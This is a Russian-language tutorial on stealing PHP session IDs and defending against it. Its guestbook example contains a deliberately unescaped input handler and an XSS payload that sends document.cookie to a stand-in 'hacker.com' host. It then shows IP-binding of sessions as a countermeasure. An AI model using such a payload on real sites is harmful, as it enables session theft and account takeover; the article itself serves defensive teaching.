Кража сессий
Автор: Лободенко Д.И.
Источник: softtime.ru
В настоящий момент многие серьёзные Web-приложения на PHP не
обходится без использования механизма сессий. Наиболее распрастранено
использование сессий для разграничения доступа пользователей к личным
ресурсам.
Рассмотрим типичный процесс авторизации с использованием
сессии.
- У пользователя запрашивается логин и пароль.
- Если авторизация проходит успешно, то создается новая сессия, со
значением "успешной авторизации".
- Пользователю назначается уникальный идентификатор (SID), который
заранее невозможно предсказать, а, значит, и подобрать :).
- SID записывается либо в cookies браузера, либо передается через
адресную строку браузера (если cookies отключены).
В результате успешной авторизации скрипту становится
доступными значения переменных из суперглобального массива $_SESSION, по
наличию которых скрипт предоставляет доступ к некоторому ресурсу,
например, вход на панель администрирования сайта.
Проблема заключается в том, что если злоумышленник
каким-либо образом узнает SID другого пользователя, он сможет подставить
его в свои cookies, или адресную строку браузера и войти на сайт с правами
данного пользователя.
Замечание
Несколько лет назад имело место несколько скандалов,
когда в системах удалённого управления банковским счётом уникальный номер
(SID) генерировался просто прибавлением единицы к последнему
использованному значению. Быстрая авторизация приводила к выдачи двух
значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла
получить доступ к чужому счёту :).
В настоящее время SID представляет уникальную
последовательность цифр и букв, не привязанную к счётчику. Но как же
злоумышленик узнает чужой SID?
Существуют два самых распространенных варианта:
1. Например, владелец сессии сам показал ее, неосторожно
оставив ссылку такого типа где-нибудь на форуме или гостевой книге.
http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121
Переход по этому адресу, автоматически наделяет
злоумышленника правами пользователя для которого выделена сессия с
идентификатором 01c1739de76ed46e639cd23d33698121.
Конечно, сессия
пользователя уничтожается при отсутствии активности через некоторое время.
И поэтому злоумышленнику следует поторопиться :). С другой стороны
тотальная распространённость пауков (спайдеров) позволяет организовать
целеноправленный автоматический поиск таких ссылок.
2. Если даже сессия не указана явно в строке браузера, а
хранится в Куках. У злоумышленика все равно есть возможность завладеть
идентификатором. Рассмотрим небольшой скрипт простейшей гостевой
книги.
<!--- тут чего-то -->
<form action=addmsg.php method=post>
Текст:
<textarea
name="text"></textarea>
<input type="submit"
value="Добавить">
</form>
Содержимое обработчика addmsg.php представлено ниже
<?php
if(!empty($_POST['text']))
{
$line = str_replace("/ ?
/s", " ", $_POST['text']);
//запись в базу или
в файл
}
else
{
exit("Ошибка");
}
?>
Обратите внимание - в скрипте явно пропущен вызов функции
htmlspecialchars(), которая преобразует символы < в < и > в
> в результате чего, злоумышленник может вставить в текст любые
HTML-теги и скрипты JavaScript.
<script>window.open("http://hacker.com/get.php?"+document.cookie,
'new')
</script>
И что мы получаем? Маленькая оплошность (казалось бы
пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения
в браузер), которая позволяет загружать в новом окне страницу
злоумышленика, передавая ей значения из cookies.
Для борьбы с
уязвимостями такого рода лучше всего бороться "устойчивыми" методами,
действуя по принципу "всё что не разрешено - запрещено". Не следует
скрывать SID и подвергать текст многоэтапным проверкам - вероятность
создания ошибок в этом случае только возрастает. Более надёжным в этом
случае является метод привязки SID к IP-адресу, пользователя владеющего
сессией. Такой способ широко распространен во многих известных форумах,
например phpBB.
Скрипт авторизации
<?php
if (логин и
пароль верные)
{
$_SESSION['authorized'] = true;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>
Тогда скрипт, который предоставляет доступ к
определенному ресурсу, может содержать следующий код
<?php
if (!empty($_SESSION['authorized']) &&
$_SESSION['ip'] == $_SERVER['REMOTE_ADDR'])
{
//
Доступ к ресурсу открыт.
}
else die("Доступ
закрыт.");
?>
Т.е. теперь с данной сессией может работать только тот
пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу
при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него
другой :) - поэтому в доступе ему будет отказано.
Данный метод не является универсальным и у него тоже есть
слабые места.
- Если пользователь и злоумышленик выходят в Интернет через общий
прокси-сервер, то они будут иметь один общий IP-адрес (это характерно
для сетей университетов, заводов и других крупных учреждений), т.е.
каждый может украсть SID соседа, хотя бы вышеуказанными методами.
- Если пользователь использует модем, и произойдет обрыв связи, то
после восстановления связи, ему скорее всего будет назначен другой
IP-адрес. Пользователь может быть неприятно удивлён, если он будет
огульно зачислен в ряды злоумышленников (поэтому писать угрозы и призывы
к совести в системах защиты не стоит - в таких системах тоже бывают
ошибки). Последний недостаток имеет место на форумах, посетители которых
имеют привычку при наборе длинного ответа отключать Интернет и работать
offline. Нажатие на кнопку "Ответить" приводит к тому, что вся набраная
информация теряется, так как никто не заботится о том, что бы сохранять
текст набранный злоумышлеником :))).
Выход: (вернее полу выход) Проверять на идентичность
только первые 3 цифры IP адреса, кража SID по-прежднему статистически
маловероятна, однако это в большинстве случаев, позволяет более мягко
отнестись к разрыву соединения, так как провайдерам обычно выделяют
неразрывный диапазон IP-адресов, в котором меняется только последняя
цифра.